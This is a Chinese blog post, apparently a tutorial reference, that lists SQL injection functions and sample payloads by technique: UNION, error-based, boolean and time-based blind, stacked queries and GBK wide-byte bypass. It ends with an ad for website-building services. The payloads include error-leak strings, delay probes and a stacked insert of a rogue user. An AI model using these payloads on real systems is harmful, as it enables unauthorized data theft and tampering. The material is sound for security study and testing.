SQL 注入所需函数详解——按注入方式分类
2026/7/31 15:00:20 网站建设 项目流程

新人博客,已发布文章会持续更新,有短缺请见谅,会尽快补齐,欢迎评论区提出,谢谢

一、联合查询注入(UNION 注入)

联合查询注入是最常见的注入方式,核心是使用UNION SELECT将攻击者构造的查询结果拼接到原查询结果中。

1.1 核心函数

函数用途示例
UNION SELECT合并两个查询结果集UNION SELECT 1,2,3
ORDER BY判断原查询的字段数ORDER BY 1--+
LIMIT限制返回行数LIMIT 0,1
GROUP_CONCAT()将多行结果拼接成一行(MySQL)SELECT GROUP_CONCAT(table_name)
CONCAT()拼接字符串SELECT CONCAT(username,0x3a,password)
CONCAT_WS()使用分隔符拼接字符串SELECT CONCAT_WS('~',a,b)
DATABASE()获取当前数据库名UNION SELECT DATABASE()
USER()获取当前用户UNION SELECT USER()
VERSION()获取数据库版本UNION SELECT VERSION()

二、报错注入

报错注入利用数据库错误信息回显敏感数据,适用于页面有错误回显但无正常回显位的场景。

2.1 MySQL 报错函数

函数用途示例
updatexml()XML 文档更新函数,参数错误时报错泄密updatexml(1,concat(0x7e,database()),1)
extractvalue()XML 值提取函数,语法错误时报错extractvalue(1,concat(0x7e,(SELECT table_name)))
floor()向下取整 + group by 产生主键冲突报错SELECT count(*),CONCAT(database(),floor(rand(0)*2))x FROM users GROUP BY x
exp()指数函数,参数过大时报错exp(~(SELECT * FROM (SELECT user())a))
NAME_CONST()重复列名导致报错SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x
BIGINT 溢出利用 ~0 与子查询拼接产生大数据溢出报错SELECT !(SELECT * FROM (SELECT user())x)-~0

2.2 SQL Server 报错函数

函数用途示例
convert()类型转换,将查询结果转为 int 报错convert(int,@@version)
CTXSYS.DRITHSX.SN()Oracle 报错注入函数CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version))

三、布尔盲注

页面没有回显和报错,但根据 SQL 语句正确与否会返回不同页面状态时,使用布尔盲注。

3.1 核心函数

函数用途示例
substr()截取字符串(MySQL)substr(database(),1,1)
substring()截取字符串(通用)substring((SELECT table_name),1,1)
mid()截取字符串(MySQL)mid(database(),1,1)
left()从左侧截取 n 个字符left(database(),1)
right()从右侧截取 n 个字符right(database(),1)
ascii()返回字符的 ASCII 值ascii(substr(database(),1,1))
ord()等同于 ascii()ord(substr(database(),1,1))
length()返回字符串长度length(database())
if()三目条件判断if(1=1,sleep(1),0)
strcmp()字符串比较strcmp(left(database(),1),'a')

四、时间盲注

页面没有任何回显差异时,通过延时函数判断注入结果。

4.1 核心函数

函数适用数据库示例
sleep()MySQLSELECT if(ascii(substr(database(),1,1))>100,sleep(3),0)
benchmark()MySQLSELECT benchmark(50000000,md5('test'))
WAITFOR DELAYSQL ServerWAITFOR DELAY '0:0:3'
DBMS_LOCK.SLEEP()OracleDBMS_LOCK.SLEEP(3)
pg_sleep()PostgreSQLSELECT pg_sleep(3)
GET_LOCK()MySQLSELECT GET_LOCK('a',3)
heavy query通用SELECT count(*) FROM information_schema.columns A, information_schema.columns B

五、堆叠注入

支持一次执行多条 SQL 语句时,可以使用堆叠注入。

5.1 核心函数

函数 / 语法用途示例
;语句分隔符,执行多条 SQL1';INSERT INTO users VALUES('hacker','pass');--+
HANDLERMySQL 中直接读取表数据(无需 SELECT 权限)HANDLER table_name OPEN; HANDLER table_name READ FIRST;
PREPARE准备语句,动态执行 SQLSET @sql=CONCAT('SEL','ECT user()');PREPARE st FROM @sql;EXECUTE st;

六、宽字节注入

当数据库编码为 GBK 时,利用反斜杠\与后续字符组合成 GBK 汉字,绕开转义。

6.1 核心函数

函数用途示例
%df结合\'形成 GBK 汉字,吃掉转义符?id=1%df' UNION SELECT 1,2,3--+
SET NAMES设置字符集(理解宽字节成因)SET NAMES 'gbk'

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询